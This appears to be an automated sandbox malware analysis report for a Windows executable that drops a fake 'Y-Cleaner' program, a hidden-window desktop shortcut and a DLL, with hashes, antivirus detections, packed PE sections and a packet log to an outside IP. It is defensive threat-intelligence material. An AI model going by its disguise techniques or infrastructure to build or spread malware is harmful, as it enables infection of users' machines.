SHA-512:	4479D951435F222CA7306774002F030972C9F1715D6AAF512FCA9420DD79CB6D08240F80129F213851773290254BE34F0FF63C7B1F4D554A7DB5F84B69E84BDD
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 75%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..._............"...0..0...........O... ...`....@.. .......................@............`.................................LO..O....`...................... ......0O............................................... ............... ..H............text..../... ...0.................. ..`.rsrc.......`.......2..............@..@.reloc....... ......................@..B.................O......H.......h~...D......U... .................................................(......(.....~....-.r...p.....(....o....s.........~.....~...........j(....r=..p~....o....t....j(....rM..p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t.....~......(....Vs....(....t.........N.(.....(.....(........0..f.......(.........8M........o....9:....o.......o.......-a.{......<...%..o.....%.

C:\Users\user\AppData\Local\Temp\wuBeweeRz\Bunifu_UI_v1.5.3.dll

Process:	C:\Users\user\Desktop\3K6rBUOQ2z.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	242176
Entropy (8bit):	6.47050397947197
Encrypted:	false
SSDEEP:	6144:SIQpxILDXGGMO7Ice9C5kQw2hWHcHTykhb:SIQpxILDXGGlET9n/cHG
MD5:	2ECB51AB00C5F340380ECF849291DBCF
SHA1:	1A4DFFBCE2A4CE65495ED79EAB42A4DA3B660931
SHA-256:	F1B3E0F2750A9103E46A6A4A34F1CF9D17779725F98042CC2475EC66484801CF
SHA-512:	E241A48EAFCAF99187035F0870D24D74AE97FE84AAADD2591CCEEA9F64B8223D77CFB17A038A58EADD3B822C5201A6F7494F26EEA6F77D95F77F6C668D088E6B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...Jl.X...........!..................... ........... ....................... ............@.....................................W.................................................................................... ............... ..H............text...4.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........`..4e...........U..............................................}.Y.y.=.{.X.x.=..r...p.o2....o...(3.....o2...}....:..s.....(...........2r...p(;...&Vr...p.....r...p.......(....>.........}.......(C.....o...(D...(E...}.....(F...(E...(G...&>.........}.......(C.....o...(D...}.....(F...(E...(H...&".......>.........}....R..} .....{ ...oo.....{ ..."..}!.....{!......}.....{#....{....op....{....,...{ ...oo.....{!...oo.....{....B.....su...(v.....{#....{#...

C:\Users\user\AppData\Local\Temp\wuBeweeRz\Y-Cleaner.exe

Process:	C:\Users\user\Desktop\3K6rBUOQ2z.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1502720
Entropy (8bit):	7.646111739368707
Encrypted:	false
SSDEEP:	24576:7i4dHPD/8u4dJG/8yndSzGmTG2/mR2SGeYdc0GmTG2/mR6Trr2h60qP:7rPD/8I/8ly+Zrr2h60qP
MD5:	A8CF5621811F7FAC55CFE8CB3FA6B9F6
SHA1:	121356839E8138A03141F5F5856936A85BD2A474
SHA-256:	614A0362AB87CEE48D0935B5BB957D539BE1D94C6FDEB3FE42FAC4FBE182C10C
SHA-512:	4479D951435F222CA7306774002F030972C9F1715D6AAF512FCA9420DD79CB6D08240F80129F213851773290254BE34F0FF63C7B1F4D554A7DB5F84B69E84BDD
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 75%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..._............"...0..0...........O... ...`....@.. .......................@............`.................................LO..O....`...................... ......0O............................................... ............... ..H............text..../... ...0.................. ..`.rsrc.......`.......2..............@..@.reloc....... ......................@..B.................O......H.......h~...D......U... .................................................(......(.....~....-.r...p.....(....o....s.........~.....~...........j(....r=..p~....o....t....j(....rM..p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t.....~......(....Vs....(....t.........N.(.....(.....(........0..f.......(.........8M........o....9:....o.......o.......-a.{......<...%..o.....%.

C:\Users\user\Desktop\Cleaner.lnk

Process:	C:\Users\user\Desktop\3K6rBUOQ2z.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Icon number=0, Archive, ctime=Fri Dec 20 16:56:18 2024, mtime=Fri Dec 20 16:56:18 2024, atime=Fri Dec 20 16:56:18 2024, length=1502720, window=hide
Category:	modified
Size (bytes):	2110
Entropy (8bit):	3.881014578275486
Encrypted:	false
SSDEEP:	48:8Knz92ETRYyUmCXGvNPwmFuwmIZXuwmSbmyg:8KzQEtYmlNPFsesry
MD5:	6610D5020D63E2BF7CE71B107668062F
SHA1:	D8C7D87F896F9B449FE8F80F55763A709442CA57
SHA-256:	1854F683AE2AD0E509BCF10F55925D289029F143CFDF7812F682ADD8B3BEB81A
SHA-512:	3CF9E413E02FBFCB45DE97A19F7EA587C4459D0E5904EB38885C442913C987825922583EB6E437D2FAAD88EB79D081D4FEA755D9F22C561E27256FB0EB8BA9C7
Malicious:	false
Preview:	L..................F.@.. ...^7lx.S..^7lx.S..^7lx.S.......................... .:..DG..Yr?.D..U..k0.&...&......Qg._...(..].R....ux.S......t...CFSF..1.....EW.=..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW.=.Y...........................3N.A.p.p.D.a.t.a...B.P.1......Y....Local.<......EW.=.Y...........................k~..L.o.c.a.l.....N.1......Y....Temp..:......EW.=.Y................................T.e.m.p.....\.1......Y....WUBEWE~1..D......Y...Y.......&........................w.u.B.e.w.e.e.R.z.....h.2......Y.. .Y-CLEA~1.EXE..L......Y...Y.......'........................Y.-.C.l.e.a.n.e.r...e.x.e.......l...............-.......k.............Y......C:\Users\user\AppData\Local\Temp\wuBeweeRz\Y-Cleaner.exe....M.a.k.e. .y.o.u.r. .P.C. .f.a.s.t.e.r.-.....\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.w.u.B.e.w.e.e.R.z.\.Y.-.C.l.e.a.n.e.r...e.x.e.<.C.:.\.U.s.e.r.s.\.F.R.O.N.T.D.~.1.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.w.u.B.e.w.e.e.R.z.\.Y.-.C.l.e.a.n.e.r...e.x.e.........%SystemD

C:\Windows\appcompat\Programs\Amcache.hve

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.416671854903513
Encrypted:	false
SSDEEP:	6144:Tcifpi6ceLPL9skLmb0moSWSPtaJG8nAgex285i2MMhA20X4WABlGuNG5+:Ii58oSWIZBk2MM6AFBUo
MD5:	4552149DF3748DF669650B805E7D4F3A
SHA1:	D56AE0532C852CA80A71B955054608167B27BC43
SHA-256:	EC09B3E717C0845F118130A8CAD13DF18475EA7EB7CB7F3C3A14664382EABCFC
SHA-512:	81BD859DF71FD977FF87CBC1067BCFCB6CBFBEA9480AE211110F575B1C0B7EF55E3861F54FB4FA7EDB04530BB78F1B52C45C5A0778B0F0E9C3C37B48F51FB62B
Malicious:	false
Preview:	regfE...E....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm*Z.x.S.................................................................................................................................................................................................................................................................................................................................................L........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.940690715452113
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	3K6rBUOQ2z.exe
File size:	1'922'560 bytes
MD5:	cd064ed63eb478d56c93d52cfe887dc8
SHA1:	9d62f688f68fcd6e26dd305182aaa06b347cac19
SHA256:	a324acc96508f28104aa5405783170e94920f75a4f07751583b97e18bb98deb2
SHA512:	f77e50ada3ca7294f8a1f55c2bc2023c928e59f2bb7443468e7e739bce215b0b31373e4f247bc93394f5a7f400fdfcc6383b559c93210d6ab2b9c1a1b87e42bd
SSDEEP:	49152:1ED7vTGcq2ulw6Mcb3AXB/ruhJgpBe0Gh46GCSdX4/:GD7rGcq2RvB/KMpc0GRi
TLSH:	A395330FEA27622AC61A06F555632472F37CCA7B28D0939A51811F7C0DBA71F5D32F68
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........i..............nG@......ZR......ZC......ZU......................Z\......ZB......ZG.....Rich....................PE..L....,.e...

File Icon


Icon Hash:	e7a99a8a8651790c

Static PE Info

General

Entrypoint:	0xc50000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x65B12CA8 [Wed Jan 24 15:28:40 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F7F915EC73Ah
sysenter
sbb eax, 00000000h
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add bh, bh

Rich Headers

Programming Language:

[C++] VS2008 build 21022
[ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[IMP] VS2005 build 50727
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x41805b	0x6f	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x40d000	0xaea0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x8480a8	0x18	gvkzzqfv
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x40c000	0x24e00	fc45d145d71ae0a9b0e8437caedf6f89	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x40d000	0xaea0	0x7000	e97bdce4861cf7ec847f60baa672ee20	False	0.9675641741071429	data	7.892982432090014	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x418000	0x1000	0x200	b8539b83d0b3f253ed2a56b71af0554b	False	0.154296875	data	1.085758102617974	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x419000	0x290000	0x200	d723a29fea81b119d8517fcb66e92c50	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
gvkzzqfv	0x6a9000	0x1a6000	0x1a5e00	a237ac72105a4437d5cd8de2573f9147	False	0.9899259259259259	DOS executable (COM)	7.94777914547085	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
qtkkvrkg	0x84f000	0x1000	0x400	a5b4c1f674fffda327a9926ef104627b	False	0.8154296875	data	6.376356615505464	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x850000	0x3000	0x2200	8e36d504b9998b3160170d4063e1f1f4	False	0.09191176470588236	DOS executable (COM)	1.1192734606267767	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x848108	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Turkmen	Turkmenistan	0.7971748400852878
RT_ICON	0x848fb0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Turkmen	Turkmenistan	0.7838447653429603
RT_ICON	0x849858	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Turkmen	Turkmenistan	0.7200460829493087
RT_ICON	0x849f20	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Turkmen	Turkmenistan	0.740606936416185
RT_ICON	0x84a488	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	Turkmen	Turkmenistan	0.6840248962655602
RT_ICON	0x84ca30	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	Turkmen	Turkmenistan	0.7345215759849906
RT_ICON	0x84dad8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	Turkmen	Turkmenistan	0.7622950819672131
RT_ICON	0x84e460	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	Turkmen	Turkmenistan	0.8111702127659575
RT_STRING	0x413c80	0x330	data			0.8370098039215687
RT_STRING	0x413fb0	0x170	data			0.15
RT_STRING	0x414120	0x620	empty			0
RT_STRING	0x414740	0x762	empty			0
RT_STRING	0x414ea4	0x852	empty			0
RT_STRING	0x4156f8	0x726	empty			0
RT_STRING	0x415e20	0x658	empty			0
RT_STRING	0x416478	0x6c0	empty			0
RT_STRING	0x416b38	0x638	empty			0
RT_STRING	0x417170	0x88a	empty			0
RT_ACCELERATOR	0x4179fc	0x20	empty			0
RT_GROUP_ICON	0x84e8c8	0x76	data	Turkmen	Turkmenistan	0.6610169491525424
RT_VERSION	0x84e93e	0x1b4	data			0.5711009174311926
RT_MANIFEST	0x84eaf2	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
Turkmen	Turkmenistan

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 20, 2024 17:09:16.787842989 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:16.907385111 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:16.907494068 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:16.908464909 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:17.028074980 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:18.268279076 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:18.268568993 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:18.280402899 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:18.400141001 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:18.792028904 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:18.792387009 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:18.797880888 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:18.917572975 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.368071079 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.368096113 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.368113995 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.368136883 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.368163109 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.368232012 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.368247032 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.368263006 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.368302107 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.368338108 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.368623972 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.368644953 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.368675947 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.368695974 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.376415968 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.376521111 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.377154112 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.377206087 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.384824038 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.384845972 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.384932995 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.590934992 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.590955973 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.591011047 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.591058969 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.594790936 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.594814062 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.594898939 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.594898939 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.601205111 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.601227999 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.601250887 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.601289034 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.613226891 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.613248110 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.613274097 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.613289118 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.621231079 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.621253014 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.621285915 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.621316910 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.625207901 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.625226974 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.625252008 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.625267029 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.633229971 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.633249998 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.633280039 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.633308887 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.641237974 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.641262054 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.641294003 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.641319036 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.653027058 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.653057098 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.653089046 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.653119087 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.656491041 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.656514883 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.656539917 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.656569004 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.664453030 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.664475918 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.664499998 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.664530993 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.673250914 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.673278093 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.673312902 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.673343897 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.711045980 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.711112022 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.782306910 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.782326937 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.782480955 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.784034967 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.784049988 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.784096956 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.787817955 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.787887096 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.787903070 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.787946939 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.794637918 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.794689894 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.794744968 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.794771910 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.801012993 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.801105022 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.801156998 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.801198006 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.806982040 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.807054996 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.808171034 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.808248997 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.817253113 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.817275047 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.817328930 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.817358017 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.818881989 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.818960905 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.819678068 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.819725037 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.824850082 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.824904919 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.825002909 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.825047016 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.831451893 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.831470966 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.831528902 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.831553936 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.836905003 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.836925030 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.836973906 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.844218016 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.844238997 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.844279051 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.844326973 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.848434925 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.848491907 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.848810911 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.848859072 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.852205038 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.852224112 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.852257013 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.852278948 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.855742931 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.855838060 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.855875969 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.855916977 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.859530926 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.859554052 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.859595060 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.859623909 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.863075018 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.863097906 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.863132000 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.863151073 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.866255999 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.866305113 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.866337061 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.866360903 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.871645927 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.871669054 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.871707916 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.871733904 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.873997927 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.874017954 CET	80	49821	185.156.73.23	192.168.2.7
Dec 20, 2024 17:09:19.874053001 CET	49821	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:09:19.874077082 CET	49821	80	192.168.2.7	185.156.73.23
